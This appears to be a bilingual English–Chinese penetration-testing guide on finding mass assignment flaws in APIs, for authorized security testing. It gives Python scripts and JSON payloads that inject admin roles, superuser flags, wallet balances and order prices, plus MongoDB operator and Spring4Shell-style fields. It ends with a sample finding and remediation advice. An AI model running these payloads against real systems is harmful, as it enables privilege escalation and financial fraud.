testing-api-for-mass-assignment-vulnerability

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Testing API for Mass Assignment Vulnerability

测试API的批量赋值漏洞

When to Use

适用场景

  • Testing API endpoints that accept JSON/XML request bodies for user profile updates, registration, or object creation
  • Assessing whether the API binds all client-supplied properties to the data model without an allowlist
  • Evaluating if users can set privileged attributes (role, permissions, pricing, balance) through regular update endpoints
  • Testing APIs built with ORMs that auto-bind request parameters to database models
  • Validating that server-side input validation restricts writeable properties per user role
Do not use without written authorization. Mass assignment testing involves modifying object properties in potentially destructive ways.
  • 测试接受JSON/XML请求体的API端点,如用户资料更新、注册或对象创建接口
  • 评估API是否未设置允许列表就将客户端提供的所有属性绑定到数据模型
  • 验证用户是否可通过常规更新端点设置特权属性(如role、permissions、pricing、balance)
  • 测试使用ORM自动将请求参数绑定到数据库模型的API
  • 验证服务器端输入验证是否按用户角色限制可写入属性
未经书面授权请勿使用。批量赋值测试涉及修改对象属性,可能造成破坏性影响。

Prerequisites

前置条件

  • Written authorization specifying target API endpoints and scope
  • Test accounts at different privilege levels
  • API documentation or OpenAPI specification to identify expected request fields
  • Burp Suite Professional for request interception and parameter injection
  • Python 3.10+ with
    requests
    library
  • Knowledge of the backend framework (Rails, Django, Express, Spring) to predict parameter binding behavior
  • 明确目标API端点和测试范围的书面授权
  • 不同权限级别的测试账号
  • API文档或OpenAPI规范,用于识别预期请求字段
  • 用于请求拦截和参数注入的Burp Suite Professional
  • 安装
    requests
    库的Python 3.10+环境
  • 了解后端框架(Rails、Django、Express、Spring)以预测参数绑定行为

Workflow

测试流程

Step 1: Identify Writable Endpoints and Expected Parameters

步骤1:识别可写入端点与预期参数

python
import requests
import json
import copy

BASE_URL = "https://target-api.example.com/api/v1"
user_headers = {"Authorization": "Bearer <user_token>", "Content-Type": "application/json"}
python
import requests
import json
import copy

BASE_URL = "https://target-api.example.com/api/v1"
user_headers = {"Authorization": "Bearer <user_token>", "Content-Type": "application/json"}

Identify endpoints that accept write operations

识别接受写入操作的端点

writable_endpoints = [ {"method": "POST", "path": "/users/register", "expected_fields": ["email", "password", "name"]}, {"method": "PUT", "path": "/users/me", "expected_fields": ["name", "email", "avatar"]}, {"method": "PATCH", "path": "/users/me", "expected_fields": ["name", "bio"]}, {"method": "POST", "path": "/orders", "expected_fields": ["items", "shipping_address"]}, {"method": "PUT", "path": "/orders/1001", "expected_fields": ["shipping_address"]}, {"method": "POST", "path": "/products", "expected_fields": ["name", "description", "price"]}, {"method": "POST", "path": "/comments", "expected_fields": ["body", "post_id"]}, {"method": "PUT", "path": "/settings", "expected_fields": ["notifications", "language"]}, ]
writable_endpoints = [ {"method": "POST", "path": "/users/register", "expected_fields": ["email", "password", "name"]}, {"method": "PUT", "path": "/users/me", "expected_fields": ["name", "email", "avatar"]}, {"method": "PATCH", "path": "/users/me", "expected_fields": ["name", "bio"]}, {"method": "POST", "path": "/orders", "expected_fields": ["items", "shipping_address"]}, {"method": "PUT", "path": "/orders/1001", "expected_fields": ["shipping_address"]}, {"method": "POST", "path": "/products", "expected_fields": ["name", "description", "price"]}, {"method": "POST", "path": "/comments", "expected_fields": ["body", "post_id"]}, {"method": "PUT", "path": "/settings", "expected_fields": ["notifications", "language"]}, ]

First, get the current user state as baseline

首先获取当前用户状态作为基准

baseline_user = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json() print(f"Baseline user state: {json.dumps(baseline_user, indent=2)}")
undefined
baseline_user = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json() print(f"基准用户状态: {json.dumps(baseline_user, indent=2)}")
undefined

Step 2: Inject Privileged Fields

步骤2:注入特权字段

python
undefined
python
undefined

Fields that should never be user-writable

绝不应允许用户写入的字段

PRIVILEGE_FIELDS = { "role_elevation": {"role": "admin", "user_role": "admin", "userRole": "admin", "account_type": "admin", "accountType": "admin"}, "admin_flags": {"is_admin": True, "isAdmin": True, "admin": True, "is_superuser": True, "isSuperuser": True, "superuser": True}, "permission_override": {"permissions": [""], "scopes": ["admin:"], "groups": ["administrators"], "roles": ["admin"]}, "account_status": {"is_active": True, "isActive": True, "verified": True, "email_verified": True, "is_verified": True, "status": "active"}, "financial": {"balance": 99999.99, "credit": 99999, "discount": 100, "price": 0.01, "amount": 0.01}, "ownership": {"user_id": 1, "userId": 1, "owner_id": 1, "ownerId": 1, "created_by": 1, "createdBy": 1}, "internal": {"internal_notes": "test", "debug": True, "hidden": False, "is_deleted": False, "is_featured": True, "priority": 0}, "temporal": {"created_at": "2020-01-01", "updated_at": "2020-01-01", "createdAt": "2020-01-01", "updatedAt": "2020-01-01"}, }
def test_mass_assignment(endpoint_info): """Test a writable endpoint for mass assignment vulnerabilities.""" method = endpoint_info["method"] path = endpoint_info["path"] expected = endpoint_info["expected_fields"] findings = []
# Build a valid base request
base_body = {}
for field in expected:
    if field == "email":
        base_body[field] = "test@example.com"
    elif field == "password":
        base_body[field] = "SecurePass123!"
    elif field == "name":
        base_body[field] = "Test User"
    elif field == "items":
        base_body[field] = [{"product_id": 1, "quantity": 1}]
    else:
        base_body[field] = "test_value"

# Test each category of privileged fields
for category, fields in PRIVILEGE_FIELDS.items():
    test_body = {**base_body, **fields}
    resp = requests.request(method, f"{BASE_URL}{path}",
                          headers=user_headers, json=test_body)

    if resp.status_code in (200, 201):
        # Verify if the fields were actually set
        resp_data = resp.json()
        for field_name, injected_value in fields.items():
            actual = resp_data.get(field_name)
            if actual is not None and str(actual) == str(injected_value):
                findings.append({
                    "endpoint": f"{method} {path}",
                    "category": category,
                    "field": field_name,
                    "injected_value": injected_value,
                    "confirmed": True
                })
                print(f"[MASS ASSIGNMENT] {method} {path}: {field_name}={injected_value} accepted")

return findings
all_findings = [] for endpoint in writable_endpoints: findings = test_mass_assignment(endpoint) all_findings.extend(findings)
print(f"\nTotal mass assignment findings: {len(all_findings)}")
undefined
PRIVILEGE_FIELDS = { "role_elevation": {"role": "admin", "user_role": "admin", "userRole": "admin", "account_type": "admin", "accountType": "admin"}, "admin_flags": {"is_admin": True, "isAdmin": True, "admin": True, "is_superuser": True, "isSuperuser": True, "superuser": True}, "permission_override": {"permissions": [""], "scopes": ["admin:"], "groups": ["administrators"], "roles": ["admin"]}, "account_status": {"is_active": True, "isActive": True, "verified": True, "email_verified": True, "is_verified": True, "status": "active"}, "financial": {"balance": 99999.99, "credit": 99999, "discount": 100, "price": 0.01, "amount": 0.01}, "ownership": {"user_id": 1, "userId": 1, "owner_id": 1, "ownerId": 1, "created_by": 1, "createdBy": 1}, "internal": {"internal_notes": "test", "debug": True, "hidden": False, "is_deleted": False, "is_featured": True, "priority": 0}, "temporal": {"created_at": "2020-01-01", "updated_at": "2020-01-01", "createdAt": "2020-01-01", "updatedAt": "2020-01-01"}, }
def test_mass_assignment(endpoint_info): """测试可写入端点是否存在批量赋值漏洞。""" method = endpoint_info["method"] path = endpoint_info["path"] expected = endpoint_info["expected_fields"] findings = []
# 构建有效的基础请求
base_body = {}
for field in expected:
    if field == "email":
        base_body[field] = "test@example.com"
    elif field == "password":
        base_body[field] = "SecurePass123!"
    elif field == "name":
        base_body[field] = "Test User"
    elif field == "items":
        base_body[field] = [{"product_id": 1, "quantity": 1}]
    else:
        base_body[field] = "test_value"

# 测试各类特权字段
for category, fields in PRIVILEGE_FIELDS.items():
    test_body = {**base_body, **fields}
    resp = requests.request(method, f"{BASE_URL}{path}",
                          headers=user_headers, json=test_body)

    if resp.status_code in (200, 201):
        # 验证字段是否被实际设置
        resp_data = resp.json()
        for field_name, injected_value in fields.items():
            actual = resp_data.get(field_name)
            if actual is not None and str(actual) == str(injected_value):
                findings.append({
                    "endpoint": f"{method} {path}",
                    "category": category,
                    "field": field_name,
                    "injected_value": injected_value,
                    "confirmed": True
                })
                print(f"[批量赋值漏洞] {method} {path}: {field_name}={injected_value} 被接受")

return findings
all_findings = [] for endpoint in writable_endpoints: findings = test_mass_assignment(endpoint) all_findings.extend(findings)
print(f"\n批量赋值漏洞总发现数: {len(all_findings)}")
undefined

Step 3: Verify Assignment Through State Change

步骤3:通过状态变更验证赋值结果

python
def verify_mass_assignment(field_name, injected_value, verification_endpoint="/users/me"):
    """Verify that the mass-assigned field actually persists in the database."""
    # Re-fetch the object to confirm the field was saved
    resp = requests.get(f"{BASE_URL}{verification_endpoint}", headers=user_headers)
    if resp.status_code == 200:
        current_state = resp.json()
        actual_value = current_state.get(field_name)
        if actual_value is not None:
            match = str(actual_value) == str(injected_value)
            print(f"  Verification: {field_name} = {actual_value} (injected: {injected_value}) -> {'CONFIRMED' if match else 'NOT MATCHED'}")
            return match
    return False
python
def verify_mass_assignment(field_name, injected_value, verification_endpoint="/users/me"):
    """验证批量赋值的字段是否实际持久化到数据库中。"""
    # 重新获取对象以确认字段已保存
    resp = requests.get(f"{BASE_URL}{verification_endpoint}", headers=user_headers)
    if resp.status_code == 200:
        current_state = resp.json()
        actual_value = current_state.get(field_name)
        if actual_value is not None:
            match = str(actual_value) == str(injected_value)
            print(f"  验证结果: {field_name} = {actual_value} (注入值: {injected_value}) -> {'已确认' if match else '不匹配'}")
            return match
    return False

Test role elevation via profile update

通过资料更新测试角色提升

print("\n=== Role Elevation Test ===")
print("\n=== 角色提升测试 ===")

Step 1: Check current role

步骤1:检查当前角色

me = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json() print(f"Current role: {me.get('role', 'unknown')}")
me = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json() print(f"当前角色: {me.get('role', '未知')}")

Step 2: Attempt to set admin role

步骤2:尝试设置管理员角色

update_resp = requests.put(f"{BASE_URL}/users/me", headers=user_headers, json={"name": me.get("name", "Test"), "role": "admin"}) print(f"Update response: {update_resp.status_code}")
update_resp = requests.put(f"{BASE_URL}/users/me", headers=user_headers, json={"name": me.get("name", "Test"), "role": "admin"}) print(f"更新响应状态码: {update_resp.status_code}")

Step 3: Verify if role changed

步骤3:验证角色是否变更

me_after = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json() print(f"Role after update: {me_after.get('role', 'unknown')}") if me_after.get("role") == "admin": print("[CRITICAL] Mass assignment: Role elevated to admin")
me_after = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json() print(f"更新后角色: {me_after.get('role', '未知')}") if me_after.get("role") == "admin": print("[严重漏洞] 批量赋值:角色已提升为管理员")

Step 4: Test admin access

步骤4:测试管理员权限

admin_resp = requests.get(f"{BASE_URL}/admin/users", headers=user_headers) if admin_resp.status_code == 200: print("[CRITICAL] Admin access confirmed after role elevation")
undefined
admin_resp = requests.get(f"{BASE_URL}/admin/users", headers=user_headers) if admin_resp.status_code == 200: print("[严重漏洞] 角色提升后已确认管理员权限")
undefined

Step 4: Framework-Specific Testing

步骤4:框架专属测试

python
undefined
python
undefined

Ruby on Rails / Active Record style

Ruby on Rails / Active Record 风格

rails_payloads = [ {"user": {"name": "Test", "role": "admin", "admin": True}}, # Nested under model name {"user[name]": "Test", "user[role]": "admin"}, # Form-style nested ]
rails_payloads = [ {"user": {"name": "Test", "role": "admin", "admin": True}}, # 嵌套在模型名称下 {"user[name]": "Test", "user[role]": "admin"}, # 表单式嵌套 ]

Django REST Framework style

Django REST Framework 风格

django_payloads = [ {"username": "test", "is_staff": True, "is_superuser": True}, {"username": "test", "groups": [1]}, # Add to admin group by ID ]
django_payloads = [ {"username": "test", "is_staff": True, "is_superuser": True}, {"username": "test", "groups": [1]}, # 通过ID添加到管理员组 ]

Express.js / Mongoose style

Express.js / Mongoose 风格

express_payloads = [ {"name": "test", "__v": 0, "_id": "000000000000000000000001"}, # Override MongoDB _id {"name": "test", "$set": {"role": "admin"}}, # MongoDB operator injection ]
express_payloads = [ {"name": "test", "__v": 0, "_id": "000000000000000000000001"}, # 覆盖MongoDB _id {"name": "test", "$set": {"role": "admin"}}, # MongoDB操作符注入 ]

Spring Boot / JPA style

Spring Boot / JPA 风格

spring_payloads = [ {"name": "test", "authorities": [{"authority": "ROLE_ADMIN"}]}, {"name": "test", "class.module.classLoader": ""}, # Spring4Shell style ]
spring_payloads = [ {"name": "test", "authorities": [{"authority": "ROLE_ADMIN"}]}, {"name": "test", "class.module.classLoader": ""}, # Spring4Shell 风格 ]

Test each framework-specific payload

测试各框架专属载荷

for payload in rails_payloads + django_payloads + express_payloads + spring_payloads: resp = requests.put(f"{BASE_URL}/users/me", headers=user_headers, json=payload) if resp.status_code in (200, 201): print(f"[ACCEPTED] Payload: {json.dumps(payload)[:100]} -> {resp.status_code}")
undefined
for payload in rails_payloads + django_payloads + express_payloads + spring_payloads: resp = requests.put(f"{BASE_URL}/users/me", headers=user_headers, json=payload) if resp.status_code in (200, 201): print(f"[已接受] 载荷: {json.dumps(payload)[:100]} -> {resp.status_code}")
undefined

Step 5: Order and Financial Object Mass Assignment

步骤5:订单与金融对象批量赋值测试

python
undefined
python
undefined

Test price/amount manipulation in e-commerce APIs

测试电商API中的价格/金额篡改

print("\n=== Financial Mass Assignment Tests ===")
print("\n=== 金融类批量赋值测试 ===")

Test 1: Create order with manipulated price

测试1:创建订单时篡改价格

order_body = { "items": [{"product_id": 42, "quantity": 1}], "shipping_address": {"street": "123 Test St", "city": "Test City"}, # Injected fields "total": 0.01, "subtotal": 0.01, "discount_percent": 100, "coupon_code": "FREEORDER", "shipping_cost": 0, "tax": 0, }
resp = requests.post(f"{BASE_URL}/orders", headers=user_headers, json=order_body) if resp.status_code in (200, 201): order = resp.json() print(f"Order created - Total: {order.get('total', 'N/A')}, Discount: {order.get('discount_percent', 'N/A')}") if float(order.get("total", 999)) < 1.0: print("[CRITICAL] Price manipulation via mass assignment")
order_body = { "items": [{"product_id": 42, "quantity": 1}], "shipping_address": {"street": "123 Test St", "city": "Test City"}, # 注入字段 "total": 0.01, "subtotal": 0.01, "discount_percent": 100, "coupon_code": "FREEORDER", "shipping_cost": 0, "tax": 0, }
resp = requests.post(f"{BASE_URL}/orders", headers=user_headers, json=order_body) if resp.status_code in (200, 201): order = resp.json() print(f"订单已创建 - 总价: {order.get('total', 'N/A')}, 折扣率: {order.get('discount_percent', 'N/A')}") if float(order.get("total", 999)) < 1.0: print("[严重漏洞] 通过批量赋值篡改价格")

Test 2: Modify order status

测试2:修改订单状态

resp = requests.patch(f"{BASE_URL}/orders/1001", headers=user_headers, json={"status": "completed", "payment_status": "paid", "refund_amount": 0}) if resp.status_code == 200: print(f"[MASS ASSIGNMENT] Order status/payment fields modified")
resp = requests.patch(f"{BASE_URL}/orders/1001", headers=user_headers, json={"status": "completed", "payment_status": "paid", "refund_amount": 0}) if resp.status_code == 200: print(f"[批量赋值漏洞] 订单状态/支付字段已被修改")

Test 3: User balance manipulation

测试3:用户余额篡改

resp = requests.put(f"{BASE_URL}/users/me/wallet", headers=user_headers, json={"amount": 10, "balance": 99999.99, "currency": "USD"}) if resp.status_code == 200: wallet = resp.json() if float(wallet.get("balance", 0)) > 10000: print("[CRITICAL] Wallet balance manipulation via mass assignment")
undefined
resp = requests.put(f"{BASE_URL}/users/me/wallet", headers=user_headers, json={"amount": 10, "balance": 99999.99, "currency": "USD"}) if resp.status_code == 200: wallet = resp.json() if float(wallet.get("balance", 0)) > 10000: print("[严重漏洞] 通过批量赋值篡改钱包余额")
undefined

Key Concepts

核心概念

TermDefinition
Mass AssignmentVulnerability where an API automatically binds client-supplied parameters to internal object properties without filtering, allowing modification of unintended fields
Auto-BindingFramework feature that maps HTTP request parameters directly to object model attributes, enabling mass assignment when no allowlist is configured
Allowlist (Whitelist)Server-side list of fields that the API explicitly allows clients to set, rejecting all other parameters
Blocklist (Blacklist)Server-side list of fields that the API explicitly blocks from client modification (less secure than allowlist)
Object Property Level AuthorizationOWASP API3:2023 - ensuring that users can only read/write object properties they are authorized to access
DTO (Data Transfer Object)Pattern where a separate object defines the allowed input fields, decoupling the API contract from the internal data model
术语定义
Mass Assignment(批量赋值)一种API漏洞,指API未经过滤就自动将客户端提供的参数绑定到内部对象属性,导致可修改非预期字段
Auto-Binding(自动绑定)框架特性,将HTTP请求参数直接映射到对象模型属性,若未配置允许列表则会引发批量赋值漏洞
Allowlist (Whitelist)(允许列表/白名单)服务器端维护的字段列表,API仅允许客户端设置列表中的字段,拒绝所有其他参数
Blocklist (Blacklist)(阻止列表/黑名单)服务器端维护的字段列表,API明确阻止客户端修改这些字段(安全性低于允许列表)
Object Property Level Authorization(对象属性级授权)OWASP API3:2023 - 确保用户仅能读写其被授权访问的对象属性
DTO (Data Transfer Object)(数据传输对象)一种设计模式,通过独立对象定义允许的输入字段,将API契约与内部数据模型解耦

Tools & Systems

工具与系统

  • Burp Suite Professional: Intercept write requests and inject additional parameters using Repeater and Intruder
  • Param Miner (Burp Extension): Automatically discovers hidden parameters by fuzzing request bodies and headers
  • Arjun: Parameter discovery tool that finds hidden HTTP parameters in API endpoints
  • OWASP ZAP: Active scanner with parameter injection capabilities for mass assignment detection
  • Postman: API testing platform for crafting requests with injected parameters and verifying responses
  • Burp Suite Professional: 拦截写入请求,使用Repeater和Intruder注入额外参数
  • Param Miner (Burp Extension): 通过模糊测试请求体和头自动发现隐藏参数
  • Arjun: 参数发现工具,用于查找API端点中的隐藏HTTP参数
  • OWASP ZAP: 具备参数注入能力的主动扫描器,可检测批量赋值漏洞
  • Postman: API测试平台,用于构造含注入参数的请求并验证响应

Common Scenarios

常见场景

Scenario: SaaS User Registration Mass Assignment

场景:SaaS用户注册批量赋值漏洞

Context: A SaaS platform allows user self-registration through a REST API. The registration endpoint accepts name, email, and password. The backend uses an ORM that auto-binds request parameters to the User model.
Approach:
  1. Register a new user with only expected fields:
    POST /api/v1/register {"name":"Test","email":"test@example.com","password":"Pass123!"}
    - returns user with
    role: "user"
  2. Register another user with injected role:
    POST /api/v1/register {"name":"Admin","email":"admin@example.com","password":"Pass123!","role":"admin"}
    - returns user with
    role: "admin"
  3. Confirm admin access by calling admin endpoints with the new account
  4. Test additional fields:
    is_verified: true
    bypasses email verification,
    subscription_plan: "enterprise"
    grants premium features
  5. Test profile update endpoint:
    PUT /api/v1/users/me {"name":"Test","balance":99999}
    - wallet balance modified
Pitfalls:
  • Only testing obvious fields like "role" and missing domain-specific fields like "subscription_plan", "credit_limit", or "verified"
  • Not verifying that the injected field was actually saved (some APIs return 200 but silently ignore unknown fields)
  • Assuming that blocklisting "role" prevents mass assignment when "isAdmin", "is_admin", or "admin" may also work
  • Not testing both creation (POST) and update (PUT/PATCH) endpoints as they may have different filtering
  • Missing nested object mass assignment where fields like
    user.role
    or
    address.verified
    can be injected
背景: 某SaaS平台允许用户通过REST API自行注册,注册端点接受name、email和password参数。后端使用ORM自动将请求参数绑定到User模型。
测试方法:
  1. 使用仅含预期字段注册新用户:
    POST /api/v1/register {"name":"Test","email":"test@example.com","password":"Pass123!"}
    - 返回用户信息,其中
    role: "user"
  2. 注入role字段注册新用户:
    POST /api/v1/register {"name":"Admin","email":"admin@example.com","password":"Pass123!","role":"admin"}
    - 返回用户信息,其中
    role: "admin"
  3. 使用新账号调用管理员端点,确认管理员权限
  4. 测试其他字段:
    is_verified: true
    可绕过邮箱验证,
    subscription_plan: "enterprise"
    可获取高级功能
  5. 测试资料更新端点:
    PUT /api/v1/users/me {"name":"Test","balance":99999}
    - 钱包余额被修改
常见误区:
  • 仅测试"role"等明显字段,忽略领域特定字段如"subscription_plan"、"credit_limit"或"verified"
  • 未验证注入字段是否实际保存(部分API返回200但会静默忽略未知字段)
  • 假设阻止"role"就能防止批量赋值,但"isAdmin"、"is_admin"或"admin"等字段可能同样生效
  • 未同时测试创建(POST)和更新(PUT/PATCH)端点,两者可能有不同的过滤规则
  • 遗漏嵌套对象批量赋值,如
    user.role
    address.verified
    等字段可被注入

Output Format

输出格式

undefined
undefined

Finding: Mass Assignment Enables Role Elevation via Registration API

发现:批量赋值漏洞允许通过注册API提升角色

ID: API-MASS-001 Severity: Critical (CVSS 9.8) OWASP API: API3:2023 - Broken Object Property Level Authorization Affected Endpoints:
  • POST /api/v1/register
  • PUT /api/v1/users/me
  • POST /api/v1/orders
Description: The API binds all client-supplied JSON fields directly to the database model without filtering. An attacker can include undocumented fields in registration and update requests to elevate their role to admin, bypass email verification, modify wallet balances, and manipulate order pricing.
Proof of Concept:
  1. Register with injected role: POST /api/v1/register {"name":"Attacker","email":"attacker@evil.com","password":"P@ss123!","role":"admin"} Response: {"id":5001,"name":"Attacker","role":"admin","is_verified":false}
  2. Update profile with injected balance: PUT /api/v1/users/me {"name":"Attacker","balance":99999.99} Response: {"id":5001,"balance":99999.99}
  3. Create order with manipulated price: POST /api/v1/orders {"items":[{"product_id":42,"qty":1}],"total":0.01} Response: {"order_id":8001,"total":0.01}
Impact: Any user can gain administrative access, manipulate financial data, bypass security controls, and purchase products at arbitrary prices.
Remediation:
  1. Implement DTOs/input schemas that explicitly define allowed fields per endpoint per role
  2. Use framework-specific mass assignment protection (Rails: strong parameters, Django: serializer fields)
  3. Never bind request parameters directly to the data model
  4. Add integration tests that verify undocumented fields are rejected
  5. Use an allowlist approach rather than blocklist for writable fields
undefined
ID: API-MASS-001 严重程度: 严重(CVSS 9.8) OWASP API分类: API3:2023 - 损坏的对象属性级授权 受影响端点:
  • POST /api/v1/register
  • PUT /api/v1/users/me
  • POST /api/v1/orders
描述: API未经过滤就将客户端提供的所有JSON字段直接绑定到数据库模型。攻击者可在注册和更新请求中添加未公开字段,将角色提升为管理员、绕过邮箱验证、修改钱包余额并篡改订单价格。
验证步骤:
  1. 注入role字段注册用户: POST /api/v1/register {"name":"Attacker","email":"attacker@evil.com","password":"P@ss123!","role":"admin"} 响应: {"id":5001,"name":"Attacker","role":"admin","is_verified":false}
  2. 注入balance字段更新资料: PUT /api/v1/users/me {"name":"Attacker","balance":99999.99} 响应: {"id":5001,"balance":99999.99}
  3. 注入total字段创建订单: POST /api/v1/orders {"items":[{"product_id":42,"qty":1}],"total":0.01} 响应: {"order_id":8001,"total":0.01}
影响: 任意用户可获取管理员权限、篡改金融数据、绕过安全控制,并以任意价格购买产品。
修复建议:
  1. 实现DTO/输入模式,按端点和角色明确定义允许的字段
  2. 使用框架专属的批量赋值保护机制(Rails: strong parameters,Django: serializer fields)
  3. 绝不要将请求参数直接绑定到数据模型
  4. 添加集成测试,验证未公开字段会被拒绝
  5. 使用允许列表而非阻止列表来限制可写入字段
undefined